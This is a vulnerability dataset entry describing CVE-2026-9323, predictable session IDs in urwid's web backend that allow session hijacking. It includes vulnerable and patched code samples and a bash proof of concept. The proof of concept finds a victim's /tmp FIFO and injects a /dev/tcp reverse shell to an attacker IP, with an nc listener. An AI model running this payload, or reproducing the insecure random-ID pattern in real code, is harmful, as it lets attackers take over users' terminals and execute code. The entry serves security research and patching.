VAITP Dataset

← Back to the dataset

CVE-2026-9323

Predictable web session IDs in urwid allow session hijacking and RCE.

  • CVSS 9.2
  • CWE-338
  • Cryptographic
  • Remote

The urwid web display backend (urwid/display/web.py) generates web session identifiers (urwid_id) in Screen.start() by concatenating two random.randrange(10**9) calls that use Python's Mersenne Twister PRNG, which is not cryptographically secure. Each call consumes approximately 30 bits of PRNG state, and the Mersenne Twister internal state is approximately 19,937 bits, so an attacker who observes approximately 334 session IDs (for example via the X-Urwid-ID HTTP response header) can fully reconstruct the internal state and predict all past and future session IDs (Path B). The same identifier is also used as the filename of a FIFO created in the world-listable /tmp directory (for example /tmp/urwid375487765176907690.in), so any local user on the host can list /tmp to enumerate active session tokens directly (Path A). With a valid session ID, an attacker can read the victim's terminal screen via the polling endpoint, inject keystrokes into the victim's session (yielding OS-level code execution with the session owner's privileges if the session runs a shell), and inject exit sequences or flood the FIFO to terminate or crash the session. A prior Bandit S311 warning on this usage was suppressed with # noqa: S311 rather than fixed

CVSS base score
9.2
Published
2026-07-18
OWASP
A02 Cryptographic Failures
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Cryptographic
Subcategory
Inadequate random number generation
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
urwid
Fixed by upgrading
Yes

Solution

Upgrade urwid to version 2.2.0 or later.

Vulnerable code sample

import random
import os

class Screen:
    def start(self):
        """
        start the display driver
        """
        self.urwid_id = "%d%d" % (
            random.randrange(10**9), # noqa: S311
            random.randrange(10**9), # noqa: S311
        )

        self.in_fifo_path = "/tmp/urwid%s.in" % self.urwid_id
        # The original code would proceed to create the FIFO file using os.mkfifo()
        # with this predictable filename in a world-listable directory.

Patched code sample

import secrets

class Screen:
    def start(self):
        """
        Represents the start-up of a web display session where the
        vulnerability was fixed.
        """
        # The original vulnerable code used two random.randrange() calls.
        # The fix is to use a cryptographically secure generator from the
        # 'secrets' module to create the session identifier.
        self.urwid_id = secrets.token_hex(16)

Payload

#!/bin/bash
#
# PoC for CVE-2026-9323 Path A (Local File-Based Keystroke Injection)
# This script finds a predictable urwid FIFO file in /tmp and injects
# a reverse shell command into the corresponding user's terminal session.
#
# Attacker must have a listener running: nc -lvnp 4444

ATTACKER_IP="10.0.0.2"
ATTACKER_PORT="4444"

# Find the first available urwid session FIFO in /tmp
TARGET_FIFO=$(find /tmp -name "urwid*.in" -print -quit)

if [ -z "$TARGET_FIFO" ]; then
    # No target found, exit silently
    exit 1
fi

# The command to be executed in the victim's shell.
# A newline character (\n) is appended to simulate pressing 'Enter'.
PAYLOAD="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'\n"

# Inject the payload into the FIFO, which sends the keystrokes to the victim's terminal
echo -e "$PAYLOAD" > "$TARGET_FIFO"

Cite this entry

@misc{vaitp:cve20269323,
  title        = {{Predictable web session IDs in urwid allow session hijacking and RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-9323},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-9323/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::